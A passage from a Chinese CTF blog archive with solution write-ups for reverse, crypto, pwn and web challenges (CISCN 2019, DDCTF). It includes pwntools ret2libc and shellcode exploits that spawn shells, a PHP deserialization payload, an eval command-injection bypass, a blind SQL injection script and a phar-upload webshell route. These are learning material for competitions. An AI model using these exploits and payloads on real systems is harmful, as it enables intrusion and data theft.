3A57B4D53D753EDD5986B307CD14C3E02A722AB729F123B8A587AB07E9776FA569281F196E9573524EE9D772BE7F8D0E9FB125C9DEECEBDE75DCC954630EDBC35B5F5E45D024330CEE46EE13EB1FBB2C2A5CC2B205005EE570F7965E138A856DD5D4D4BAA26F3525BC04779E570DEA65D62DB7070AF3546E5F3078E3EA6EF736B29CD2E99C0F5CA3E001676CDD7B24B897EA3087E09BAB08F60B090E2E392AD9AE53E52BD82E2CBD8E571D0B002F71B07B2B61E5FDF0B23196EC603D76B68487329DAA727DC0B0D6064DB91D06EF236773FB8A32CE763D77BBB7D0B90EE4533C99F3A16B143CE08CDD967020B893EA3887EFAF22D82F2438B8E4643F570E68D6B5AEB7373D003CD7A1EEADD4AABAFAD535751096847D71A26A5F1EA13E60586BF3AE5435CBCF778273DD5D76CCE7F6057939DB81FADD5B95DBC854CE83E092D2F6FA1E3C63F7938C8384BDCBB853A906A31C1EB08A26B760181C76B4D3E58DE9F07CE076DE24E7D39D1C009EEE50F7167FDC97C3A854E5CDB1BD3A9D95AADCECEA56C7325D6798E5C1CC664F95EA4DD8B11D643EB779EDC91C746FE3647666723E7A8DA6CF587D759266A533A906A31CE656113676979182B77B8E2EB9C8235CCF79DECE61714DFD130300CFD7361C5155ED4A01DE95B154C0EA63978DFB82573E218DC16D9D8C1375668FC155741C266DDF8557A9DEE4496F3BA6731B0A23A5DF1A567E2CD2EB5A719C6D7AFDD33B4A263A9D37BF7C6422E7185A472E87EF13387CC652643CBCFA8070B910DDB9F6E38E4EEF2887B955A48DED8469FBD76E9222C75FAFF13F9DA3724AED5505809738D4BDC56A15C2629DFB08252D7E0F30FE39FDAED5EAD83532FEC6D51C9A86CA8734A5B094C9EEECF95DF5ED8C7184CF525D851DF1F0CD8EC9DC866EE3C424E33039D5BC653F4A4C2F6ECF137EDCBEA1B81D24ED8B723EDB118EE7BC466ECF588C8BF1DB933671C6E2A04B93B464B9E6530F703CD53B39CCAEE2E13749B6594B7B50392DF52400F022C7BAB750AFCE4B69CCE2BE5CC39A2256FDDB4AA17C9F536CFC731D9B271ACDDE4C7AEDD6DF1C5C7E5E750BF34C6E63CBBF4C50496FDA97909BCD3728AB95C6E56D9209623B523DE89AC8F9E0359A3B6339CB3C60168EED2E34389CEA3087F9553CFE2689D28C61D72EEB55CEA7BF0F007E97F87BF06FDF04BCAB842EB1BD121EE4B25A6DAD6A6D19E8D0ACC794013FC9ED736598A86C19B91794F74565435709F93CE77DDCC394618F0C5C023F4FF58EFD101D4FBE49727F364A7A7931AEFC0800FFA2580C43C16B1E72E422596D1E3E29798E516EBFD91BE5FCA4549F7B9384D1EFF4676149EF76C300C0ACF2F96CAFDEA55DB116DE3E317C6DF77627B75FEB8D727E56AA4FBD49C6832F9F23BFD90D030063A1ECE5DFB35A7E8EE56E79176AF8242314C48F8F4D357C5261FE4A6E3FED8D727E71AA4FBA4982F2B0B09F73DCD97B391100DE56ACA9A1F2B566EADD930AF3C1DC4EF1DFD61C7BED1397879CCFD77871AA4FB84996C7C0C153DA4200F8A54EF1894BFA97C58BEB65F005C5A1F42C2E1CF7F0FA7928B73CFBD0AB1F783DE07CBECA4B537DC24DB25CF9D1376A01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000FE4BFEFCF93F29520FC4D05FB0A10000000049454E44AE426082').decode("hex")
f=open('1\\'+b+'.png',"wb")
f.write(a)
f.close()

reverse

patch

考察 IDAPatch 的使用 flag{why_need_so_large_ram_emmmmmmm}

  • 环境搭建:

    1. 直接下发 fakeRam 程序
  • 题解:

    利用 IDAPatch nop 掉所有严重与等待后重新运行即可自动输出 flag

c++STL

考察c++STL容器基础

开始创建三个vector容器
第一个放入输入的16个数字
第二个放入从500开始的16个素数
第三个倒序放入第一个容器的16个数字
比较第三和第二个容器
相等则得到flag

crypto

sha256

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from hashlib import sha256
sssk=string.printable
text2="sha256_is_too_"
text1="6348306011488e60120a6b99fbbb13f09336235fb790f8f904e97846b1418e48"
#sha256_is_too_e@$Y
for i1 in sssk:
for i2 in sssk:
for i3 in sssk:
for i4 in sssk:
text3=text2+i1+i2+i3+i4
if sha256(text3).hexdigest()==text1:
text4=i1+i2+i3+i4
print i1+i2+i3+i4
break
else: continue
else: continue
break
else: continue
break
else: continue
break
print text3

得到flag

DES

考察简化的DES差分分析

round1.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#SBOX = [[[14, 4, 13, 1, 2, 15, 11, 8, 3, 10, 6, 12, 5, 9, 0, 7], [0, 15, 7, 4, 14, 2, 13, 1, 10, 6, 12, 11, 9, 5, 3, 8], [4, 1, 14, 8, 13, 6, 2, 11, 15, 12, 9, 7, 3, 10, 5, 0], [15, 12, 8, 2, 4, 9, 1, 7, 5, 11, 3, 14, 10, 0, 6, 13]], [[15, 1, 8, 14, 6, 11, 3, 4, 9, 7, 2, 13, 12, 0, 5, 10], [3, 13, 4, 7, 15, 2, 8, 14, 12, 0, 1, 10, 6, 9, 11, 5], [0, 14, 7, 11, 10, 4, 13, 1, 5, 8, 12, 6, 9, 3, 2, 15], [13, 8, 10, 1, 3, 15, 4, 2, 11, 6, 7, 12, 0, 5, 14, 9]], [[10, 0, 9, 14, 6, 3, 15, 5, 1, 13, 12, 7, 11, 4, 2, 8], [13, 7, 0, 9, 3, 4, 6, 10, 2, 8, 5, 14, 12, 11, 15, 1], [13, 6, 4, 9, 8, 15, 3, 0, 11, 1, 2, 12, 5, 10, 14, 7], [1, 10, 13, 0, 6, 9, 8, 7, 4, 15, 14, 3, 11, 5, 2, 12]], [[7, 13, 14, 3, 0, 6, 9, 10, 1, 2, 8, 5, 11, 12, 4, 15], [13, 8, 11, 5, 6, 15, 0, 3, 4, 7, 2, 12, 1, 10, 14, 9], [10, 6, 9, 0, 12, 11, 7, 13, 15, 1, 3, 14, 5, 2, 8, 4], [3, 15, 0, 6, 10, 1, 13, 8, 9, 4, 5, 11, 12, 7, 2, 14]], [[2, 12, 4, 1, 7, 10, 11, 6, 8, 5, 3, 15, 13, 0, 14, 9], [14, 11, 2, 12, 4, 7, 13, 1, 5, 0, 15, 10, 3, 9, 8, 6], [4, 2, 1, 11, 10, 13, 7, 8, 15, 9, 12, 5, 6, 3, 0, 14], [11, 8, 12, 7, 1, 14, 2, 13, 6, 15, 0, 9, 10, 4, 5, 3]], [[12, 1, 10, 15, 9, 2, 6, 8, 0, 13, 3, 4, 14, 7, 5, 11], [10, 15, 4, 2, 7, 12, 9, 5, 6, 1, 13, 14, 0, 11, 3, 8], [9, 14, 15, 5, 2, 8, 12, 3, 7, 0, 4, 10, 1, 13, 11, 6], [4, 3, 2, 12, 9, 5, 15, 10, 11, 14, 1, 7, 6, 0, 8, 13]], [[4, 11, 2, 14, 15, 0, 8, 13, 3, 12, 9, 7, 5, 10, 6, 1], [13, 0, 11, 7, 4, 9, 1, 10, 14, 3, 5, 12, 2, 15, 8, 6], [1, 4, 11, 13, 12, 3, 7, 14, 10, 15, 6, 8, 0, 5, 9, 2], [6, 11, 13, 8, 1, 4, 10, 7, 9, 5, 0, 15, 14, 2, 3, 12]], [[13, 2, 8, 4, 6, 15, 11, 1, 10, 9, 3, 14, 5, 0, 12, 7], [1, 15, 13, 8, 10, 3, 7, 4, 12, 5, 6, 11, 0, 14, 9, 2], [7, 11, 4, 1, 9, 12, 14, 2, 0, 6, 10, 13, 15, 3, 5, 8], [2, 1, 14, 7, 4, 10, 8, 13, 15, 12, 9, 0, 3, 5, 6, 11]]]
#为了方便这里只选择SBOX中的S1盒进行演示
def Sbox(a,b):
sbox1=[[14, 4, 13, 1, 2, 15, 11, 8, 3, 10, 6, 12, 5, 9, 0, 7],
[0, 15, 7, 4, 14, 2, 13, 1, 10, 6, 12, 11, 9, 5, 3, 8],
[4, 1, 14, 8, 13, 6, 2, 11, 15, 12, 9, 7, 3, 10, 5, 0],
[15, 12, 8, 2, 4, 9, 1, 7, 5, 11, 3, 14, 10, 0, 6, 13]]

#存储S1盒output的异或值
sout_table=[0]
sout_text=['']
for i in range(0,64*16):
sout_table.append(0)
for i in range(0,64*16):
sout_text.append('')

for Si in range(0,64):
for Se1 in range(0,64):
Se2=Se1^Si

#计算Se1经过S1盒的值
bits1 = bin(Se1).replace('0b','').rjust(6,'0')
row1 = int(bits1[0])*2+int(bits1[5])
col1 = int(bits1[1])*8+int(bits1[2])*4+int(bits1[3])*2+int(bits1[4])
val1 = bin(sbox1[row1][col1])[2:]

#计算Se2经过S1盒的值
bits2 = bin(Se2).replace('0b','').rjust(6,'0')
row2 = int(bits2[0])*2+int(bits2[5])
col2 = int(bits2[1])*8+int(bits2[2])*4+int(bits2[3])*2+int(bits2[4])
val2 = bin(sbox1[row2][col2])[2:]
So=int(val1,2)^int(val2,2)

#将相应表项加1
sout_table[Si*16+So]=sout_table[Si*16+So]+1
sout_text[Si*16+So]=sout_text[Si*16+So]+str(Se1).zfill(2)
'''
for i in range(0,64):
s=str(i)+" : "
for j in range(0,16):
s=s+str(sout_table[i*16+j])+" "
print(s)
'''
#print(sout_text[a*16+b])
return sout_text[a*16+b]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from round1 import *
from des import *

def decry_xor(decry1,decry2,num):
a=decry1[num*4:num*4+4]
b=decry2[num*4:num*4+4]
return int(a,2)^int(b,2)
def en_xor(number1,number2,number3):
num1=E_change(bin(chain[number1])[2:].zfill(32),number3)
num2=E_change(bin(chain[number2])[2:].zfill(32),number3)
return num1^num2,num1,num2
subkey=bin(0x987654321098)[2:]
print(subkey)
chain=[0x92d91525,0x81c82636,0xa3d71597,0xc2a41239,0xa4824698,0x45681249]
#密文
#0x6148b286 #0x7d4d21d3 #0xaecabffe #0x74d08779 #0xc8e3d2a4 #0x8d9d872f
cipher=['01100001010010001011001010000110','01111101010011010010000111010011','10101110110010101011111111111110','01110100110100001000011101111001','11001000111000111101001010100100','10001101100111011000011100101111']
'''
for i in range(6):
plaintext=bin(chain[i])[2:].zfill(32)
cipher[i]=(F(plaintext,subkey))
print(cipher)
'''
en_xo=[[],[],[]]
def getkey(a,b,c):
en_xo=en_xor(a,b,c)
#print(en_xo)
de_xo=decry_xor(cipher[a],cipher[b],c)
result=Sbox(en_xo[0],de_xo)
#print(result)
resu=['','','','','','','','','','','','','','','','','','','','','','','','','','','','']
for i in range(int(len(result)/2)):
resu[i]=(result[2*i]+result[2*i+1])
print("key:")
for i in range(int(len(result)/2)):
print(en_xo[1]^int(resu[i]))
#print(en_xo[2]^int(resu[i]))
a=int(input())#第a+1个明文
b=int(input())#第b+1个明文
c=int(input())#明文的第c+1至c+5个bit位
getkey(a,b,c)

根据明文和密文,每两对4bit的明文和6bit的密文可以获得一组key,多组明文密文的组合可以得到做个key的集合,最后几个集合的交集就是key,8个key合在一起就是subkey,有了key就可以进行解密,然后得到明文flag

pwn

001

考察基础的ret2libc和ret2plt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *

#context.log_level = 'debug'



s=process("./pwn")

#gdb.attach(s)

elf=ELF('./pwn',checksec=False)

libc=ELF('/lib/i386-linux-gnu/libc.so.6',checksec=False)



write_plt=elf.plt['write']

write_got=elf.got['write']

game_addr=elf.symbols['game']

write_libc_addr=libc.symbols['write']

system_addr=libc.symbols['system']

sh_addr=next(libc.search('/bin/sh'))



payload='a'*88+p32(write_plt)+p32(game_addr)+p32(1)+p32(write_got)+p32(4)

s.sendlineafter("name ?\n",payload)

#gdb.attach(s)

s.sendlineafter("? (0 - 1024)\n","123")
#gdb.attach(s)

write_addr=u32(s.recvuntil("What'")[-9:-5])


print hex(write_addr)

base_addr=write_addr-write_libc_addr



payload='a'*88+p32(system_addr+base_addr)+p32(game_addr)+p32(sh_addr+base_addr)

s.sendlineafter("name ?\n",payload)

s.sendlineafter("? (0 - 1024)\n","123")



s.interactive()

002

考察基础的ret2shellcode

1
2
3
4
5
6
7
8
9
from pwn import *
sh=remote('172.20.3.35',9999)
#sh = process('./Bin')
shellcode = asm(shellcraft.i386.linux.sh())
#buf2_addr = 0x0804853b
hin_addr=0x080484ed
#gdb.attach(sh)
sh.sendline("a"*108+shellcode[0:4] + p32(hin_addr)+shellcode[4:])
sh.interactive()
]]>
ctf
第十二届全国大学生信息安全竞赛-Web https://Foxgrin.github.io//posts/43152/ 2019-04-27T07:15:00.000Z 2019-05-20T00:52:32.337Z 第一次打国赛,emmm不得不说题目质量真的很高,一题都能卡学长一天,虽然一路跟着学长的思路复现下来,但是收获还是很多的,在这里做个复现的题解

JustSoso

根据源代码给出的提示,知道是先利用LFI读取index.phphint.php的源码

1
2
?file=php://filter/convert.base64-encode/resource=index.php
?file=php://filter/convert.base64-encode/resource=hint.php

index.php文件中,我们可以发现参数$_GET['payload']最后经过反序列化函数的处理,但是在之前将该参数经过parse_url函数的处理后的结果做了正则匹配过滤的处理,但是我们可以绕过parse_url函数,具体参考链接:http://www.am0s.com/functions/406.html

参考链接中提到,parse_url函数在处理///时会返回false

测试代码如下:

我们可以看到,当URI的开头为///时,parse_url是无法解析出URL的相关信息的,返回NULL

在官方文档中对该函数的注释:

1
2
3
Note:

parse_url() 是专门用来解析 URL 而不是 URI 的。不过为遵从 PHP 向后兼容的需要有个例外,对 file:// 协议允许三个斜线(file:///...)。其它任何协议都不能这样。

尽管该函数能解析不完整的URL,但是无法解析除file:///协议外的其他协议,当parse_url解析不出信息时,将返回NULL

如此一来,我们绕过了parse_url函数,即可执行反序列化函数,接下来就是要查看类中的具体信息了,类的信息就在hint.php文件中

我们可以看到两个类HandleFlag,要得到flag,我们只能通过调用Flag类的getFlag()方法执行最后的highlight_file方法,但是,通过一次反序列化对象,我们是无法直接调用到该方法的,所以,只有通过Handle类的魔术方法__destruct,它在对象被销毁是自动调用,__constrct则是对象创建时自动调用,调用__destruct方法后才能调用getFlag()方法,所以Handle类的handle属性,必须是一个Flag对象

另外,我们可以注意到Handle类中还有一个魔术方法__wakeup,这是一个在对象被反序列化时会被自动调用的魔术方法,如果调用了,则会把对象中的所有属性置null,所以__wakeup就是我们必须要绕过的第二个地方,这里具体可以参考:https://mochazz.github.io/2018/12/30/PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96bug/

里面提到了__wakeup魔术方法的一个bug,当我们将object size即类的对象个数改为比原有个数大时,__wakeup方法在对象被反序列化时就不会被调用

测试代码如下:

可以看到,正常情况下的反序列化会调用到__wakeup,将handle属性置null,导致无法执行getFlag方法,另外我们还可以注意到,稀有属性序列化后有特别的属性格式\x00Handle\x00handle

现在我们将对象个数1修改为比1大的数字,将上面代码的测试段修改为:

1
2
$h = $_GET['h'];
unserialize($h);

这里发现反序列化函数出现了报错,这是因为我这里测试的PHP版本为7.0过高的原因,可见这个Bug需要较低的PHP版本,将PHP版本修改为5.4后,再次执行

没有报错,说明成功了,但是这里没有读出内容,是因为要执行getFlag的最后读取文件,还有第三个约束条件

if($this->token === $this->token_flag)

如果按照正常的代码逻辑来看,两个的随机数的md5值是几乎不可能相等的,但是我们可以通过类似指针的原理,让$this->token = &this->token_flag,这样$this->token的值会随着$this->token_flag值的改变而改变,生成最终的Handle对象的代码如下:

序列化后的Handle对象为:O:6:"Handle":2:{s:14:"\x00Handle\x00handle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";s:32:"3ba716f4a7265eef381f7cef9e271f27";s:10:"token_flag";R:4;}},再结合前面分析的两个分别绕过__wakeupparse_url

最终payload如下:

1
http://xxx///index.php?file=hint.php&payload=O:6:"Handle":2:{s:14:"\x00Handle\x00handle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";s:32:"3ba716f4a7265eef381f7cef9e271f27";s:10:"token_flag";R:4;}}

love_math

在源码中发现calc.php,访问得到源代码,如下:

很明显,看到eval函数,这题考察的是命令执行拿flag,但是$content会先后经过黑白名单的校验并且长度不能大于等于80

黑名单是限制了我们输入的一些特殊字符,白名单则是限制了我们使用的函数

这里限制了我们只能使用数学函数,通过查阅各种数学函数的作用,发现能利用的只有base_convert,它能在2进制到36进制之间进行任意进制的转换,而36进制能表示字符0-9a-z,所以我们可以通过该函数来构造一些简单的函数,例如phpinfo,我们先把它转换成十进制

1
2
echo base_convert('phpinfo', 36, 10);
55490343972

这里大家可能有疑问,为什么一定要转化为十进制数,其实十进制以下都可以,但是十六进制就不行了,因为十六进制中会包含英文字母,而英文字母会在白名单校验中的正则匹配函数匹配到而执行失败

我们还可以执行一些其他命令,例如system('dir')base_convert(1751504350,10,36)(base_convert(17523,10,36))

可以看到目录下存在flag.php文件

但是,单靠一个base_convert函数,我们是无法构建出能读取flag.php文件的函数,因为base_convert函数只能构造出0-9a-z范围内的字符,例如空格,点号,都是无法通过进制转换进行构造的

所以这里想到用php的十六进制转字符串的函数hex2bin,但是该函数只使用与php7.0版本以上,正好该题目环境是7.0以上,所以该函数可以利用,同样用base_convert函数构造hex2binbase_convert(37907361743,10,36),该函数传入的参数必须是十六进制数,又因为十六进制数难免包含字母,这样会被白名单给过滤,所以我们可以再利用一个数学函数dechex,它能将十进制数转换为十六进制数,也就是说,我们可以通过base_convert(37907361743,10,36)(dechex())构造出函数hex2bin(),但是,这里eval语句最前面还有echo,如果构造system(hex2bin()),则需要调用到两次base_convert和一次dechex,而这样比然长度会超过80,所以应该这题要通过其他参数引入的方式来打破字符长度的限制

开始构造多$_GET传参

首先先通过传入的参数$c去定义一个变量,变量的值等于_GET,当然,这里变量名必须是数学函数,所以这里采用最短的pi作为变量名,这是为了尽可能的压缩长度,构造的payload为:$pi=base_convert(37907361743,10,36)(dechex(1598506324))

上图即执行了语句eval('echo $pi=base_convert(37907361743,10,36)(dechex(1598506324));')

接下来,再通过$_GET[]($_GET[])进行多GET执行命令

但是这里黑名单过滤了[],而{}是可以用来代替索引数组的

最终构造的payload如下:

1
c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pow}(($$pi){pi})&pow=system&pi=type%20flag.php

因为比赛环境关了的原因,本地测试采用的windows系统,linux系统将payload中的type改为cat即可

全宇宙最简单的SQL

这题的waf会将|orsleepifbenchmarkcase等字符替换为QwQ

返回的信息有两种:

  • SQL语法错误时,会显示数据库操作失败。例如:username=admin'&password=123
  • SQL语法正确时,如果账号密码不对,会显示登录失败。例如:username=admin&password=123

排除了延时注入,报错注入,布尔注入。本题采用了一种基于语法的盲注,利用逻辑运算符溢出报错来进行注入,这里采用了pow(9999,100),这个表达式的值在MYSQL中已经超出了double范围,会溢出。然后构造以下payload来进行盲注:

1
username=admin' ^ 1 and substr(database(),1,1)='a' and pow(9999,100)#&password=123

在后台构成的SQL查询语句大致就是:

1
select * from user where username='admin' ^ 1 and substr(database(),1,1)='a' and pow(9999,100)# and password='123';

加入异或符号^是为了能够保证,即使admin用户名不存在,异或1的结果后仍然为true,保证能执行到后面的盲注判断语句substr()=''。如果该判断语句为true,则会执行pow(9999,100),产生溢出错误,页面返回的结果便是数据库操作失败;如果该判断语句为false,则不会执行pow(9999,100),返回的结果为登录失败

通过这种盲注,我写了如下脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests

url = "http://39.106.224.151:52105/"
database = ""
s = "0123456789qwertyuiopasdfghjklzxcvbnm!@#$%^&*()QWERTYUIOPASDFGHJKLZXCVBNM"

for i in range(1,50):
for j in s:
data = {
'username':"' ^ 1 and substr(database(),%d,1)='%s' and pow(9999,100)#"%(i,j),
'password':'123'
}
print("checking",j)
r = requests.post(url,data=data)
r.encoding = r.apparent_encoding
if '数据库操作失败' in r.text:
passwd = passwd + j
print("passwd:",passwd)
f = 1
break
if j == 'M' and f == 0:
break
f = 0

注出数据库名:ctf

但是,题目将or替换QwQ,所以我们无法通过正常利用information_schema库来得到表名和列名信息

有篇参考文章:如何在不知道MySQL列名的情况下注入出数据

里面提到了,在无法知道列名的情况下,我们可以通过select 1,2 union select * from user来注出列下的所有内容,我们只需要猜测表名和查询列数即可

所以,构造以下payload即可注出密码字段的内容:

1
username=admin' ^ 1 and substr((select `2` from (select 1,2 union select * from user)a limit 1,1),1,1)='a' and pow(9999,100)#&password=123

脚本内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests

url = "http://39.106.224.151:52105/"
password = ""
s = "0123456789qwertyuiopasdfghjklzxcvbnm!@#$%^&*()QWERTYUIOPASDFGHJKLZXCVBNM"

for i in range(1,50):
for j in s:
data = {
'username':"' ^ 1 and substr((select `2` from (select 1,2 union select * from user)a limit 1,1),%d,1)='%s' and pow(9999,100)#"%(i,j),
'password':'123'
}
print("checking",j)
r = requests.post(url,data=data)
r.encoding = r.apparent_encoding
if '数据库操作失败' in r.text:
password = password + j
print("password:",password)
f = 1
break
if j == 'M' and f == 0:
break
f = 0

最终注出的admin用户的密码f1ag@1s-at_/fll1llag_h3r3

但是仍然无法登陆,后面没有思路便作罢

赛后发现是存在大小写问题,必须在脚本中利用ASCII码进行判断,别的大佬的题解里写出跑出来的结果是F1AG@1s-at_/fll1llag_h3r3,登陆后,发现存在远程连接MySQL的功能,有点类似DDCTF的MYSQL弱口令那道题,一样是要伪造一个MYSQL服务器端来连接最终获取flag,但是由于题目环境关闭了,无法进行复现了,但是这题学习到了一种新型的基于语法的盲注和无法得知列名情况下的注入,收获也还是蛮大的

RefSpace

题目的地址观察得知首先可以利用php伪协议读取源代码,再加上扫描后台以及读取源码中得到的提示,得出了题目的目录结构如下:

1
2
3
4
5
6
7
8
9
10
11
12
➜ html tree
.
├── app
│ ├── flag.php
│ ├── index.php
│ └── Up10aD.php
├── backup.zip
├── flag.txt
├── index.php
├── robots.txt
└── upload
2 directories, 7 files

其中注意到的便是网站有上传文件的功能,app/Up10aD.php源码如下:

分析源码可知,对上传的文件做了类型的检查,根据类型自动加上后缀名jpg或者gif

index.php中,存在文件包含:

但是自动加上了后缀名php

一开始的想法是上传图片马,然后通过截断的方式包含图片马,但是尝试了%000x00文件长度截断,都失败了,原因是该题目的php版本为7.0以上,而上述尝试的截断方式都仅仅适用于php5

所以,尝试了利用phar协议包含文件,具体可以参考:zip或phar协议包含文件

具体方法为,使用phar类打包一个phar标准包

1
2
3
4
5
<?php
$p = new PharData(dirname(__FILE__).'/phartest.zip', 0,'phartest',Phar::ZIP) ;
$x=file_get_contents('./test.php');
$p->addFromString('test.php', $x);
?>

运行后生成phartest.zip压缩包,里面包含了代码为<?php phpinfo(); ?>test.php文件

然后在app/Up10aD.php文件中上传该压缩包,并修改文件名为phartest,文件类型为image/jpeg

这样,上传文件地址就为upload/phartest.jpg,然后访问https://xxx/index.php?route=phar://upload/phartest.jpg/test

即可成功执行phpinfo

同样方法上传一句话木马后getshell也只发现存在flag.txt/ctf/sdk.php

没有其他思路了,只能就此作罢,后面考察的应该是要绕过app/flag.phpsha1比较,才能拿到flag

]]>
ctf
DDCTF-Web https://Foxgrin.github.io//posts/6882/ 2019-04-19T07:15:00.000Z 2019-04-19T14:18:29.885Z 这场比赛难度虽然大,但是一路做下来收获还是蛮大的

滴~

题目链接:http://117.51.150.246/index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09

将参数jpg的值进行两次base64解码得到666C61672E6A7067,再进行十六进制转字符串的处理后得到flag.jpg,然后在源代码看到了加载出了flag.jpg文件的源码,怀疑是通过文件读取函数file_get_contents进行读取图片,将index.php进行转十六进制并进行两次base64编码后的值TmprMlpUWTBOalUzT0RKbE56QTJPRGN3赋值给参数jpg,得到经过base64加密后的源码:

解密后得到index.php源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
/*
* https://blog.csdn.net/FengBanLiuYun/article/details/80616607
* Date: July 4,2018
*/
error_reporting(E_ALL || ~E_NOTICE);


header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');
$file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
echo '<title>'.$_GET['jpg'].'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.'</br>';
$file = str_replace("config","!", $file);
echo $file.'</br>';
$txt = base64_encode(file_get_contents($file));

echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
* Can you find the flag file?
*
*/

?>

对读取文件做了过滤处理,首先是通过正则匹配函数过滤除了a-z,A-Z,0-9和小数点.以外的所有字符,并且将关键词config替换为!,看似flag就在config.php中,但是怎么想也绕不了过滤,这时注意到了代码开头的注释部分提示了一个博客地址,仔细翻阅博主的另一篇文章,里面提示一个文件名practice.txt.swp,访问,出现了文件名f1ag!ddctf.php

那么再次用同样的方法读取flag!ddctf.php文件的源代码,其中的感叹号!在参数中用config代替便可,即参数$file == hex2bin(base64_encode(base64_encode('f1agconfigddctf.php')))

获得f1ag!ddctf.php源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
include('config.php');
$k = 'hello';
extract($_GET);
if(isset($uid))
{
$content=trim(file_get_contents($k));
if($uid==$content)
{
echo $flag;
}
else
{
echo'hello';
}
}

?>

考察变量覆盖和PHP伪协议,payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /f1ag!ddctf.php?k=php://input&uid=hello HTTP/1.1
Host: 117.51.150.246
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

hello

得到flag:DDCTF{436f6e67726174756c6174696f6e73}

WEB签到题

题目链接:http://117.51.158.44/index.php

页面有401认证,查看源代码发现页面主题调用了方法auth(),注意到文件js/index.js,对其访问获得源码

js代码的大致意思是向http://117.51.158.44/app/Auth.php发送ajax请求,并设置了头部字段didictf_username,尝试头部字段didictf_username:admin时,页面响应内容为:{"errMsg":"success","data":"\u60a8\u5f53\u524d\u5f53\u524d\u6743\u9650\u4e3a\u7ba1\u7406\u5458----\u8bf7\u8bbf\u95ee:app\/fL2XID2i0Cdh.php"},发现了提示文件app/fL2XID2i0Cdh.php,访问后

可以获得/app/Application.php/app/Session.php两个文件的源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#/app/Application.php

Class Application {
var $path = '';


public function response($data, $errMsg = 'success') {
$ret = ['errMsg' => $errMsg,
'data' => $data];
$ret = json_encode($ret);
header('Content-type: application/json');
echo $ret;

}

public function auth() {
$DIDICTF_ADMIN = 'admin';
if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
$this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');
return TRUE;
}else{
$this->response('抱歉,您没有登陆权限,请获取权限后访问-----','error');
exit();
}

}
private function sanitizepath($path) {
$path = trim($path);
$path=str_replace('../','',$path);
$path=str_replace('..\\','',$path);
return $path;
}

public function __destruct() {
if(empty($this->path)) {
exit();
}else{
$path = $this->sanitizepath($this->path);
if(strlen($path) !== 18) {
exit();
}
$this->response($data=file_get_contents($path),'Congratulations');
}
exit();
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
#/app/Session.php

<?php
include 'Application.php';
class Session extends Application {

//key建议为8位字符串
var $eancrykey = '';
var $cookie_expiration= 7200;
var $cookie_name = 'ddctf_id';
var $cookie_path= '';
var $cookie_domain= '';
var $cookie_secure= FALSE;
var $activity = "DiDiCTF";


public function index()
{
if(parent::auth()) {
$this->get_key();
